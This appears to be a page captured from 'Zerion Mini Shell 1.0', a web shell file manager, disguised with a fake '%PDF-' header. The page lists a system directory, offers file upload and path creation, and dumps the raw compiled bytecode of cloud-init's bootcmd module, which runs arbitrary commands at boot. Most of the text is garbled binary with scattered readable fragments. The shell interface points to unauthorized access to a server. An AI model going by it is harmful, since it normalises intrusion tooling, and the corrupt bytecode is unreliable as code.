%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/cloudinit/config/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/cloudinit/config/__pycache__/cc_bootcmd.cpython-312.pyc

�

���f��
��UdZddlZddlmZmZmZddlmZddlm	Z	ddl
mZddlm
Z
eje�Ze
Zdd	ge
d
gd�Zeed<d
ede	dededdf
d�Zy)z:Bootcmd: run arbitrary commands early in the boot process.�N)�subp�
temp_utils�util)�Cloud)�Config)�
MetaSchema)�
PER_ALWAYS�
cc_bootcmd�all�bootcmd)�id�distros�	frequency�activate_by_schema_keys�meta�name�cfg�cloud�args�returnc	�v�d|vrtjd|�ytjd��5}	t	j
|d�}|j
t	j|��|j�	|j�}|r
dt|�ini}tjd|jg|d�	�	ddd�y#t$r*}t	jtdt|���d}~wwxYw#t$rt	jtd
|��wxYw#1swYyxYw)Nrz;Skipping module named %s, no 'bootcmd' key in configurationz.sh)�suffixzFailed to shellify bootcmd: %s�INSTANCE_IDz/bin/shF)�
update_env�capturezFailed to run bootcmd module %s)�LOG�debugr�ExtendedTemporaryFiler�shellify�write�encode_text�flush�	Exception�logexc�str�get_instance_idrr)	rrrr�tmpf�content�e�iid�envs	         �=/usr/lib/python3/dist-packages/cloudinit/config/cc_bootcmd.py�handler-!s
������	�	�I�4�	
�	�	�	)�	)��	7��4�	��m�m�C�	�N�3�G��J�J�t�'�'��0�1��J�J�L�
	��'�'�)�C�/2�=�#�c�(�+��C��I�I�y�$�)�)�,��e�L����
�	��K�K��=�s�1�v�F���	���	��K�K��>��E��	����s<�D/�AC�AD�	D�%C>�>D�D/�&D,�,D/�/D8)�__doc__�logging�	cloudinitrrr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar�cloudinit.settingsr	�	getLogger�__name__rrr�__annotations__r%�listr-��r,�<module>r;s��A��,�,�!�#�.�)��g����!���	���w�� )�{�	��j�����6��%��t���r:

Zerion Mini Shell 1.0